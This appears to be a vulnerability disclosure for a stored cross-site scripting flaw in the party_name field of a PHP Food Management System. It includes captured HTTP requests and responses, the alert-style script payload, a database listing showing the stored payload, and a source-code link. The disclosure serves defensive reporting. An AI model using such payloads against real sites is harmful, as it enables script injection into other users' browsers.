

XSS injection vulnerability exists in party_name parameter of party_details.php file of Food Management System

With XSS, cybercriminals can turn trusted websites into malicious ones, thus causing inordinate harm and damage not only to the victims but also to the reputation of the trusted website's owner.

Websites that are compromised by XSS can cause any number of threats to attack a user's system. This can involve anything from inappropriate content being displayed to malware being downloaded onto the system without the user knowing.

The image displays two screenshots of a web browser's developer tools, illustrating an XSS attack.

Top Screenshot: Request and Response

Request:

```
1 POST /chopstic1/party_submit.php HTTP/1.1
2 Content-Type: application/x-www-form-urlencoded
3 Referer: http://192.168.170.1/chopstic1/
4 Cookie: PHPSESSID=bp4gkn6oe1jmh4bvm7abfbbeut
5 Content-Length: 131
6 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
7 Accept-Encoding: gzip,deflate,br
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0
  Safari/537.36
9 Host: 192.168.170.1
10 Connection: Keep-alive
11
12 contact=1&entry_date=03-01-2024&pan=1&party_address=555&
  party_name=
  pHqghUme--><ScRiPt%20>alert(9297)</ScRiPt><!--&submit=
  Save&tin=1
```

Response:

```
1 HTTP/1.1 302 Found
2 Server: nginx/1.15.11
3 Date: Wed, 03 Jan 2024 09:48:52 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Expires: Thu, 19 Nov 1981 08:52:00 GMT
8 Cache-Control: no-store, no-cache, must-revalidate
9 Pragma: no-cache
10 location: party_details.php
11 Content-Length: 0
12
13
```

Bottom Screenshot: Request and Response

Request:

```
1 GET /chopstic1/party_details.php HTTP/1.1
2 Referer: http://192.168.170.1/chopstic1/party_submit.php
3 Cookie: PHPSESSID=bp4gkn6oe1jmh4bvm7abfbbeut
4 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept-Encoding: gzip,deflate,br
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0
  Safari/537.36
7 Host: 192.168.170.1
8 Connection: Keep-alive
9
10
```

Response:

```
509
510 <td class="center" ><a
  class="btn btn-info editType"
  id="6" data-rel="tooltip"
  title="Edit" > <i
  class="icon-edit
  icon-white"></i></a><a
  class="btn btn-danger
  deleteType" id="6"
  data-rel="tooltip"
  title="Delete"><i
  class="icon-trash
  icon-white"></i> </a> </td>
</tr>
<tr id="row-7">
<td>7</td>
<td
  class="center">pHqghUme--><
  ScRiPt >
  alert(9297)
  </ScRiPt>
  <!--</td>
<td class="center">1</td>
<td class="center">1</td>

<td class="center">1</td>
<td class="center">555</td>

<input type="hidden"
  id="row-7-itemtypeid"
  value="" />

522
523
524
525 <td class="center" ><a
  class="btn btn-info editType"
  id="7" data-rel="tooltip"
  title="Edit" > <i
  class="icon-edit
```

chopstick	sl_no	party_name	cont
ho_item_list	1	Paris Bakery	9040
ho_role	2	pHqghUme	1
ingredient_entry	3	pHqghUme	1
itemtype	4	pHqghUme	1
material	5	pHqghUme	1
party_details	6	pHqghUme--><ScRiPt>gBHb(9297)</ScRiPt><!--	1
raw_stock_entry	7	pHqghUme--><ScRiPt>alert(9297)</ScRiPt><!--	1
reporting			
sell_bill_details			
sell_item_details			
stock_entry			
waste_entry			
information_schema			

Payload: party_name=pHqghUme--><ScRiPt%20>gBHb(9297)</ScRiPt><!--

Source Download:

<https://www.kashipara.com/project/php/12086/food-management-system-php-project-source-code>